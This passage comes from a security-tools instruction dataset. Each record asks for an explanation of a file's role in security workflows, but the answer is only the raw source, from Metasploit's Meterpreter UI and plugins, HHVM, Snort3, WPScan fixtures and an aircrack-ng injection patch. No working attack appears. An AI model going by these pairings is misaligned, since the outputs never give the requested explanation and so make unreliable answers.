`json:\"status_code,omitempty\"`\n}\n\n// NewErrorOAuth2 instantiates a new ErrorOAuth2 object\n// This constructor will assign default values to properties that have it defined,\n// and makes sure properties required by API are set, but the set of arguments\n// will change when the set of required properties is changed\nfunc NewErrorOAuth2() *ErrorOAuth2 {\n\tthis := ErrorOAuth2{}\n\treturn &this\n}\n\n// NewErrorOAuth2WithDefaults instantiates a new ErrorOAuth2 object\n// This constructor will only assign default values to properties that have it defined,\n// but it doesn't guarantee that properties required by API are set\nfunc NewErrorOAuth2WithDefaults() *ErrorOAuth2 {\n\tthis := ErrorOAuth2{}\n\treturn &this\n}\n\n// GetError returns the Error field value if set, zero value otherwise.\nfunc (o *ErrorOAuth2) GetError() string {\n\tif o == nil || o.Error == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Error\n}\n\n// GetErrorOk returns a tuple with the Error field value if set, nil otherwise\n// and a boolean to check if the value has been set.\nfunc (o *ErrorOAuth2) GetErrorOk() (*string, bool) {\n\tif o == nil || o.Error == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Error, true\n}\n\n// HasError returns a boolean if a field has been set.\nfunc (o *ErrorOAuth2) HasError() bool {\n\tif o != nil && o.Error != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// SetError gets a reference to the given string and assigns it to the Error field.\nfunc (o *ErrorOAuth2) SetError(v string) {\n\to.Error = &v\n}\n\n// GetErrorDebug returns the ErrorDebug field value if set, zero value otherwise.\nfunc (o *ErrorOAuth2) GetErrorDebug() string {\n\tif o == nil || o.ErrorDebug == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.ErrorDebug\n}\n\n// GetErrorDebugOk returns a tuple with the ErrorDebug field value if set, nil otherwise\n// and a boolean to check if the value has been set.\nfunc (o *ErrorOAuth2) GetErrorDebugOk() (*string, bool) {\n\tif o == nil || o.ErrorDebug == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ErrorDebug, true\n}\n\n// HasErrorDebug returns a boolean if a field has been set.\nfunc (o *ErrorOAuth2) HasErrorDebug() bool {\n\tif o != nil && o.ErrorDebug != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// SetErrorDebug gets a reference to the given string and assigns it to the ErrorDebug field.\nfunc (o *ErrorOAuth2) SetErrorDebug(v string) {\n\to.ErrorDebug = &v\n}\n\n// GetErrorDescription returns the ErrorDescription field value if set, zero value otherwise.\nfunc (o *ErrorOAuth2) GetErrorDescription() string {\n\tif o == nil || o.ErrorDescription == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.ErrorDescription\n}\n\n// GetErrorDescriptionOk returns a tuple with the ErrorDescription field value if set, nil otherwise\n// and a boolean to check if the value has been set.\nfunc (o *ErrorOAuth2) GetErrorDescriptionOk() (*string, bool) {\n\tif o == nil || o.ErrorDescription == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ErrorDescription, true\n}\n\n// HasErrorDescription returns a boolean if a field has been set.\nfunc (o *ErrorOAuth2) HasErrorDescription() bool {\n\tif o != nil && o.ErrorDescription != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// SetErrorDescription gets a reference to the given string and assigns it to the ErrorDescription field.\nfunc (o *ErrorOAuth2) SetErrorDescription(v string) {\n\to.ErrorDescription = &v\n}\n\n// GetErrorHint returns the ErrorHint field value if set, zero value otherwise.\nfunc (o *ErrorOAuth2) GetErrorHint() string {\n\tif o == nil || o.ErrorHint == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.ErrorHint\n}\n\n// GetErrorHintOk returns a tuple with the ErrorHint field value if set, nil otherwise\n// and a boolean to check if the value has been set.\nfunc (o *ErrorOAuth2) GetErrorHintOk() (*string, bool) {\n\tif o == nil || o.ErrorHint == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ErrorHint, true\n}\n\n// HasErrorHint returns a boolean if a field has been set.\nfunc (o *ErrorOAuth2) HasErrorHint() bool {\n\tif o != nil && o.ErrorHint != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// SetErrorHint gets a reference to the given string and assigns it to the ErrorHint field.\nfunc (o *ErrorOAuth2) SetErrorHint(v string) {\n\to.ErrorHint = &v\n}\n\n// GetStatusCode returns the StatusCode field value if set, zero value otherwise.\nfunc (o *ErrorOAuth2) GetStatusCode() int64 {\n\tif o == nil || o.StatusCode == nil {\n\t\tvar ret int64\n\t\treturn ret\n\t}\n\treturn *o.StatusCode\n}\n\n// GetStatusCodeOk returns a tuple with the StatusCode field value if set, nil otherwise\n// and a boolean to check if the value has been set.\nfunc (o *ErrorOAuth2) GetStatusCodeOk() (*int64, bool) {\n\tif o == nil || o.StatusCode == nil {\n\t\treturn nil, false\n\t}\n\treturn o.StatusCode, true\n}\n\n// HasStatusCode returns a boolean if a field has been set.\nfunc (o *ErrorOAuth2) HasStatusCode() bool {\n\tif o != nil && o.StatusCode != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\n// SetStatusCode gets a reference to the given int64 and assigns it to the StatusCode field.\nfunc (o *ErrorOAuth2) SetStatusCode(v int64) {\n\to.StatusCode = &v\n}\n\nfunc (o ErrorOAuth2) MarshalJSON() ([]byte, error) {\n\ttoSerialize := map[string]interface{}{}\n\tif o.Error != nil {\n\t\ttoSerialize[\"error\"] = o.Error\n\t}\n\tif o.ErrorDebug != nil {\n\t\ttoSerialize[\"error_debug\"] = o.ErrorDebug\n\t}\n\tif o.ErrorDescription != nil {\n\t\ttoSerialize[\"error_description\"] = o.ErrorDescription\n\t}\n\tif o.ErrorHint != nil {\n\t\ttoSerialize[\"error_hint\"] = o.ErrorHint\n\t}\n\tif o.StatusCode != nil {\n\t\ttoSerialize[\"status_code\"] = o.StatusCode\n\t}\n\treturn json.Marshal(toSerialize)\n}\n\ntype NullableErrorOAuth2 struct {\n\tvalue *ErrorOAuth2\n\tisSet bool\n}\n\nfunc (v NullableErrorOAuth2) Get() *ErrorOAuth2 {\n\treturn v.value\n}\n\nfunc (v *NullableErrorOAuth2) Set(val *ErrorOAuth2) {\n\tv.value = val\n\tv.isSet = true\n}\n\nfunc (v NullableErrorOAuth2) IsSet() bool {\n\treturn v.isSet\n}\n\nfunc (v *NullableErrorOAuth2) Unset() {\n\tv.value = nil\n\tv.isSet = false\n}\n\nfunc NewNullableErrorOAuth2(val *ErrorOAuth2) *NullableErrorOAuth2 {\n\treturn &NullableErrorOAuth2{value: val, isSet: true}\n}\n\nfunc (v NullableErrorOAuth2) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(v.value)\n}\n\nfunc (v *NullableErrorOAuth2) UnmarshalJSON(src []byte) error {\n\tv.isSet = true\n\treturn json.Unmarshal(src, &v.value)\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:63279"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/expression_trees/splice_variable.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\n\nfunction lift(T $_): ExprTree {\n throw new Exception();\n}\n\nfunction test(): void {\n $x = 1;\n\n // Expression Trees do not inherit local variables from the outer scope\n // But splices do\n $_ = ExampleDsl`${lift($x)}`;\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:12427"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/dfind/dfindEnv.ml' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "(*\n * Copyright (c) 2015, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n *)\n\n(*****************************************************************************)\n(* The environment shared by everyone *)\n(*****************************************************************************)\n\nmodule Time = struct\n type t = int\n\n let counter = ref 0\n\n let get () =\n incr counter;\n !counter\n\n let compare = Int.compare\n\n (* The beginning of times *)\n let bot = 0\n\n let to_string x = string_of_int x\nend\n\nmodule TimeFiles = MonoidAvl.Make (struct\n (* Timestamp + filename *)\n type elt = Time.t * string\n\n let compare (_, x) (_, y) = String.compare x y\n\n type monoelt = Time.t\n\n let neutral = Time.bot\n\n let make = fst\n\n let compose = max\nend)\n\ntype t = {\n (* The fsnotify environment, we use this for interacting with fsnotify *)\n fsnotify: Fsnotify.env;\n (* The set of files with their timestamp *)\n mutable files: TimeFiles.t;\n (* The set of new files (files created during an event) *)\n mutable new_files: SSet.t;\n (* The directories (and the files they contain) *)\n mutable dirs: SSet.t SMap.t;\n}\n\n(*****************************************************************************)\n(* Building the original environment, this call is called only once\n * by the server (cf dfindServer.ml)\n *)\n(*****************************************************************************)\n\nlet make roots =\n let fsnotify = Fsnotify.init roots in\n {\n fsnotify;\n files = TimeFiles.empty;\n new_files = SSet.empty;\n dirs = SMap.empty;\n }", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:3269"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/strings/strspn.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\n$a = \"22222222aaaa bbb1111 cccc\";\n$b = \"1234\";\nvar_dump($a);\nvar_dump($b);\nvar_dump(strspn($a,$b));\nvar_dump(strspn($a,$b,2));\nvar_dump(strspn($a,$b,2,3));\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:30153"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/data/exploits/capture/http/forms/wikipedia.org.txt' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "
", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:35495"}} -{"instruction": "Explain the purpose and role of 'hacker101/discord.html' from the hacker101 security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "\nRedirecting to Discord. If you're not automatically redirected, click here.", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:1764"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# -*- coding: binary -*-\nrequire 'rex/post/meterpreter'\n\nmodule Rex\nmodule Post\nmodule Meterpreter\nmodule Ui\n\n###\n#\n# Extended API user interface.\n#\n###\nclass Console::CommandDispatcher::Extapi\n\n require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window'\n require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service'\n require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard'\n require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi'\n require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi'\n\n Klass = Console::CommandDispatcher::Extapi\n\n Dispatchers =\n [\n Klass::Window,\n Klass::Service,\n Klass::Clipboard,\n Klass::Adsi,\n Klass::Wmi\n ]\n\n include Console::CommandDispatcher\n\n def self.has_command?(name)\n Dispatchers.any? { |klass| klass.has_command?(name) }\n end\n\n #\n # Initializes an instance of the extended API command interaction.\n #\n def initialize(shell)\n super\n\n Dispatchers.each { |d| shell.enstack_dispatcher(d) }\n end\n\n #\n #\n # List of supported commands.\n #\n def commands\n {\n }\n end\n\n #\n # Name for this dispatcher\n #\n def name\n 'Extended API Extension'\n end\n\nend\n\nend\nend\nend\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:41242"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/plugins/rssfeed.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "module Msf\n ###\n #\n # This class hooks all session events and puts it into an RSS feed\n #\n ###\n\n class Plugin::EventRSS < Msf::Plugin\n\n attr_accessor :items, :queue, :queue_thread\n\n include Msf::SessionEvent\n\n def add_event(event)\n queue.push(event)\n end\n\n def generate_feed(newitem)\n items.unshift(newitem)\n feed = RSS::Maker.make('atom') do |maker|\n maker.channel.author = 'msfconsole'\n maker.channel.updated = Time.new.to_s\n maker.channel.about = 'https://metasploit.com'\n maker.channel.title = 'msfconsole rss feed'\n\n items.each do |rssitem|\n maker.items.new_item do |item|\n item.link = rssitem[:link]\n item.title = rssitem[:title]\n item.updated = rssitem[:date]\n item.summary = rssitem[:content]\n end\n end\n end\n File.open('feed.rss', 'w') { |f| f.write(feed) }\n end\n\n def create_session_item(session, status)\n if status == 'created'\n select(nil, nil, nil, 25)\n end\n title = \"#{session.type} session - #{session.sid} #{status}.\"\n content = ''\n if session.workspace\n content << \"Workspace:\\t#{session.workspace}\\n\"\n end\n content << \"Session Information: #{session.info}\"\n add_event({ title: title, date: Time.now.to_s, link: 'https://metasploit.com', content: content })\n end\n\n def on_session_open(session)\n create_session_item(session, 'created')\n end\n\n def on_session_close(session, _reason = '')\n create_session_item(session, 'closed')\n end\n\n def on_session_fail(reason = ''); end\n\n def on_plugin_load\n add_event({ title: 'RSS Plugin Loaded', date: Time.now.to_s, link: 'https://metasploit.com/', content: 'N/A' })\n end\n\n def on_plugin_unload\n generate_feed({ title: 'RSS Plugin Unloaded', date: Time.now.to_s, link: 'https:/metasploit.com/', content: 'N/A' })\n end\n\n def start_event_queue\n self.queue_thread = Rex::ThreadFactory.spawn('rss_plugin', false) do\n loop do\n while (event = queue.shift)\n generate_feed(event)\n end\n select(nil, nil, nil, 0.25)\n end\n rescue ::Exception => e\n print_status(\"RSS plugin: fatal error #{e} #{e.backtrace}\")\n end\n end\n\n def stop_event_queue\n queue_thread.kill if queue_thread\n self.queue_thread = nil\n queue.clear\n end\n\n def initialize(framework, opts)\n require 'rss'\n super\n\n @items = []\n self.queue = Queue.new\n self.framework.events.add_session_subscriber(self)\n start_event_queue\n\n on_plugin_load\n end\n\n def cleanup\n on_plugin_unload\n framework.events.remove_session_subscriber(self)\n stop_event_queue\n end\n\n def name\n 'rss'\n end\n\n def desc\n 'Create an RSS feed of events'\n end\n\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:46088"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/asdl_to_rust/lrgen/Cargo.toml' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# @generated by autocargo\n\n[package]\nname = \"lrgen\"\nversion = \"0.0.0\"\nedition = \"2021\"\n\n[[bin]]\nname = \"lrgen\"\npath = \"lrgen.rs\"\n\n[dependencies]\ncfgrammar = { version = \"0.12\", features = [\"serde\"] }\nclap = { version = \"3.2.25\", features = [\"derive\", \"env\", \"regex\", \"unicode\", \"wrap_help\"] }\nlrlex = \"0.12\"", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:3029"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/hand-talk/translation_file/languages/wpht-pt_BR.po' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Hand Talk for WordPress\\n\"\n\"POT-Creation-Date: 2014-01-23 12:25-0300\\n\"\n\"PO-Revision-Date: 2014-01-23 12:26-0300\\n\"\n\"Last-Translator: Gustavo Cunha \\n\"\n\"Language-Team: Gustavo Cunha \\n\"\n\"Language: pt_BR\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Generator: Poedit 1.6.3\\n\"\n\"X-Poedit-KeywordsList: __;_e\\n\"\n\"X-Poedit-Basepath: .\\n\"\n\"X-Poedit-SourceCharset: UTF-8\\n\"\n\"X-Poedit-SearchPath-0: ..\\n\"\n\n#: ../settings.class.php:23\nmsgid \"Hand Talk\"\nmsgstr \"Hand Talk\"\n\n#: ../settings.class.php:39\nmsgid \"Hand Talk Configuration\"\nmsgstr \"Configuração do Hand Talk\"\n\n#: ../settings.class.php:40\nmsgid \"Security Token\"\nmsgstr \"Token de Segurança\"\n\n#: ../settings.class.php:48\nmsgid \"Use latest version\"\nmsgstr \"Usar a versão mais recente\\t\"\n\n#: ../settings.class.php:51\nmsgid \"Version\"\nmsgstr \"Versão\"\n\n#: ../settings.class.php:54\nmsgid \"Available versions: 1.0, 1.1. Please use just one.\"\nmsgstr \"Versões disponíveis: 1.0, 1.1. Por favor, use apenas uma.\"\n\n#: ../settings.class.php:57\nmsgid \"Exceptions\"\nmsgstr \"Exceções\"\n\n#: ../settings.class.php:60\nmsgid \"Comma separated options\"\nmsgstr \"Opções separadas por vírgulas\"\n\n#: ../settings.class.php:67\n#, php-format\nmsgid \"\"\n\"To subscribe and get your token, go to Hand Talk website\"\nmsgstr \"\"\n\"Para se cadastrar e adquirir seu token, acesse o site do Hand Talk\"\n\n#: ../settings.class.php:88\n#, php-format\nmsgid \"\"\n\"For further technical info, go to api.handtalk.me/info\"\nmsgstr \"\"\n\"Para maiores informações, acesse api.handtalk.me/info\"\n\n#: ../settings.class.php:104\nmsgid \"Invalid security token\"\nmsgstr \"Token de Segurança inválido\"\n\n#: ../settings.class.php:111\nmsgid \"Version must be filled\"\nmsgstr \"A versão deve ser preenchida\"\n\n#: ../wpht.class.php:14\nmsgid \"Settings\"\nmsgstr \"Configurações\"", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60265"}} -{"instruction": "Explain the purpose and role of 'snort3/src/detection/ips_context_chain.cc' from the snort3 security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "//--------------------------------------------------------------------------\n// Copyright (C) 2018-2023 Cisco and/or its affiliates. All rights reserved.\n//\n// This program is free software; you can redistribute it and/or modify it\n// under the terms of the GNU General Public License Version 2 as published\n// by the Free Software Foundation. You may not use, modify or distribute\n// this program under any other version of the GNU General Public License.\n//\n// This program is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License along\n// with this program; if not, write to the Free Software Foundation, Inc.,\n// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n//--------------------------------------------------------------------------\n\n// ips_context_chain.cc author Carter Waxman \n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"detection/ips_context_chain.h\"\n\n#include \"detection/ips_context.h\"\n\nusing namespace snort;\n\nvoid IpsContextChain::pop()\n{\n assert(_front);\n\n IpsContext* new_front = _front->next();\n _front->unlink();\n _front = new_front;\n if ( !_front )\n _back = nullptr;\n}\n\nvoid IpsContextChain::push_back(IpsContext* new_back)\n{\n if ( _back )\n {\n _back->link(new_back);\n _back = new_back;\n }\n else\n {\n assert(!_front);\n _front = _back = new_back;\n }\n}\n\n#ifdef UNIT_TEST\n#include \"catch/snort_catch.h\"\n\nTEST_CASE(\"IpsContextChain push_back\", \"[IpsContextChain]\")\n{\n IpsContextChain chain;\n IpsContext a, b, c;\n\n CHECK(chain.front() == nullptr);\n CHECK(chain.back() == nullptr);\n\n chain.push_back(&a);\n CHECK(chain.front() == &a);\n CHECK(chain.back() == &a);\n\n chain.push_back(&b);\n CHECK(chain.front() == &a);\n CHECK(chain.back() == &b);\n\n chain.push_back(&c);\n CHECK(chain.front() == &a);\n CHECK(chain.back() == &c);\n\n CHECK(a.next() == &b);\n CHECK(b.next() == &c);\n CHECK(c.next() == nullptr);\n}\n\nTEST_CASE(\"IpsContextChain pop\", \"[IpsContextChain]\")\n{\n IpsContextChain chain;\n IpsContext a, b, c;\n\n chain.push_back(&a);\n chain.push_back(&b);\n chain.push_back(&c);\n\n chain.pop();\n CHECK(chain.front() == &b);\n CHECK(chain.back() == &c);\n\n chain.pop();\n CHECK(chain.front() == &c);\n CHECK(chain.back() == &c);\n\n chain.pop();\n CHECK(chain.front() == nullptr);\n CHECK(chain.back() == nullptr);\n}\n\nTEST_CASE(\"IpsContextChain abort\", \"[IpsContextChain]\")\n{\n IpsContextChain chain;\n IpsContext a, b;\n\n chain.push_back(&a);\n chain.push_back(&b);\n chain.abort();\n\n CHECK(!chain.front());\n CHECK(!chain.back());\n}\n\n#endif", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:50497"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/data/exploits/capture/http/forms/ebay.com.au.txt' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "
", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:35214"}} -{"instruction": "Explain the purpose and role of 'aircrack-ng/patches/ath5k-radiotap-fragfix-2.6.28-rc8-wl.patch' from the aircrack-ng security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "diff --git a/drivers/net/wireless/ath5k/attach.c b/drivers/net/wireless/ath5k/attach.c\nindex 51d5698..49d82d7 100644\n--- a/drivers/net/wireless/ath5k/attach.c\n+++ b/drivers/net/wireless/ath5k/attach.c\n@@ -317,9 +317,16 @@ struct ath5k_hw *ath5k_hw_attach(struct ath5k_softc *sc, u8 mac_version)\n \t\tgoto err_free;\n \t}\n \n+\t/* Set MAC address */\n+\tret = ath5k_eeprom_read_mac(ah, mac);\n+\tif (ret) {\n+\t\tATH5K_ERR(sc, \"unable to read address from EEPROM: 0x%04x\\n\",\n+\t\t\tsc->pdev->device);\n+\t\tgoto err_free;\n+\t}\n+\n-\t/* MAC address is cleared until add_interface */\n \tath5k_hw_set_lladdr(ah, mac);\n \n \t/* Set BSSID to bcast address: ff:ff:ff:ff:ff:ff for now */\n \tmemset(ah->ah_bssid, 0xff, ETH_ALEN);\n \tath5k_hw_set_associd(ah, ah->ah_bssid, 0);\ndiff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c\nindex 9eb9871..ec0104f 100644\n--- a/drivers/net/wireless/ath5k/base.c\n+++ b/drivers/net/wireless/ath5k/base.c\n@@ -1182,7 +1182,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf)\n \tbf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len,\n \t\t\tPCI_DMA_TODEVICE);\n \n-\tif (info->flags & IEEE80211_TX_CTL_NO_ACK)\n+\tif ((info->flags & IEEE80211_TX_CTL_NO_ACK) &&\n+\t !((info->flags & IEEE80211_TX_CTL_INJECTED) &&\n+\t (ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control))))\n \t\tflags |= AR5K_TXDESC_NOACK;\n \n \tpktlen = skb->len;", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:370"}} -{"instruction": "Explain the purpose and role of 'hydra/persistence/sql/migrations/20220210000001000010_nid.mysql.up.sql' from the hydra security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "-- Migration generated by the command below; DO NOT EDIT.\n-- hydra:generate hydra migrate gen\n\nUPDATE hydra_oauth2_authentication_session SET nid = (SELECT id FROM networks LIMIT 1);\nALTER TABLE hydra_oauth2_authentication_session MODIFY `nid` char(36) NOT NULL;", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:64084"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/custom-post-type-manager/translation_file/lang/cptm-ja.po' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: CPTM v0.9\\n\"\n\"POT-Creation-Date: 2013-09-26 09:29+0900\\n\"\n\"PO-Revision-Date: 2013-09-26 09:30+0900\\n\"\n\"Last-Translator: \\n\"\n\"Language-Team: \\n\"\n\"Language: Japanese\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Generator: Poedit 1.5.5\\n\"\n\"X-Poedit-KeywordsList: __\\n\"\n\"X-Poedit-Basepath: .\\n\"\n\"X-Poedit-SourceCharset: UTF-8\\n\"\n\"X-Poedit-SearchPath-0: ..\\n\"\n\n#: ../cptm-admin.php:14\nmsgid \"Item added.\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:15\nmsgid \"Item deleted.\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:16\nmsgid \"Item updated.\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:17\nmsgid \"Item not added.\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:18\nmsgid \"Item not updated.\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:19\nmsgid \"Error in deleting…\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:52\nmsgid \"が未入力です。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:57\nmsgid \"は半角英数字で入力してください。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:127\nmsgid \"新規カスタム投稿を追加\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:135\nmsgid \"カスタム投稿を編集\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:136\nmsgid \"新規登録\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:148 ../cptm-admin.php:264\nmsgid \"title\"\nmsgstr \"タイトル\"\n\n#: ../cptm-admin.php:149 ../cptm-admin.php:264\nmsgid \"editor\"\nmsgstr \"エディタ\"\n\n#: ../cptm-admin.php:150\nmsgid \"author\"\nmsgstr \"作成者\"\n\n#: ../cptm-admin.php:151\nmsgid \"thumbnail\"\nmsgstr \"サムネイル\"\n\n#: ../cptm-admin.php:152\nmsgid \"excerpt\"\nmsgstr \"抜粋\"\n\n#: ../cptm-admin.php:153\nmsgid \"custom-fields\"\nmsgstr \"カスタムフィールド\"\n\n#: ../cptm-admin.php:157\nmsgid \"投稿の下\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:158\nmsgid \"メディアの下\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:159\nmsgid \"ページの下\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:163\nmsgid \"指定しない\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:164\nmsgid \"連絡帳\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:165\nmsgid \"時計\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:166\nmsgid \"カレンダー\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:167\nmsgid \"ノート\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:168\nmsgid \"メモ帳\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:176 ../custom-post-type-manager.php:43\nmsgid \"カスタム投稿設定\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:187 ../cptm-admin.php:233\nmsgid \"name\"\nmsgstr \"表示名\"\n\n#: ../cptm-admin.php:188 ../cptm-admin.php:245\nmsgid \"post_type\"\nmsgstr \"投稿タイプ\"\n\n#: ../cptm-admin.php:189\nmsgid \"stop_flag\"\nmsgstr \"状態\"\n\n#: ../cptm-admin.php:211\nmsgid \"edit\"\nmsgstr \"編集\"\n\n#: ../cptm-admin.php:211\nmsgid \"delete\"\nmsgstr \"削除\"\n\n#: ../cptm-admin.php:214\nmsgid \"active\"\nmsgstr \"稼働\"\n\n#: ../cptm-admin.php:214\nmsgid \"deactive\"\nmsgstr \"停止\"\n\n#: ../cptm-admin.php:235\nmsgid \"登録画面等に表示されます。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:239\nmsgid \"menu\"\nmsgstr \"メニュー\"\n\n#: ../cptm-admin.php:241\nmsgid \"管理画面のメニューに表示されます。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:247\nmsgid \"半角英数字で入力してください。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:251\nmsgid \"supports\"\nmsgstr \"サポート機能\"\n\n#: ../cptm-admin.php:263\nmsgid \"使用する機能を選択してください。(複数選択可)\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:269\nmsgid \"menu_position\"\nmsgstr \"メニュー位置\"\n\n#: ../cptm-admin.php:281\nmsgid \"管理画面のメニュー表示位置です。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:285\nmsgid \"menu_icon\"\nmsgstr \"メニューアイコン\"\n\n#: ../cptm-admin.php:297\nmsgid \"管理画面のメニューに使用するアイコンです。\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:302\nmsgid \"カテゴリーを使用する\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:304\nmsgid \"タグを使用する\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:306\nmsgid \"このカスタム投稿タイプを一時停止にする\"\nmsgstr \"\"\n\n#: ../cptm-admin.php:309\nmsgid \"Save\"\nmsgstr \"保存\"\n\n#: ../custom-post-type-manager.php:75\n#, php-format\nmsgid \"%s一覧\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:76\nmsgid \"新規追加\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:77\n#, php-format\nmsgid \"%sを追加\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:78\n#, php-format\nmsgid \"%sを編集\"\nmsgstr \"\"\n\n#: ../custom-post-type-manager.php:79\n#, php-format\nmsgid 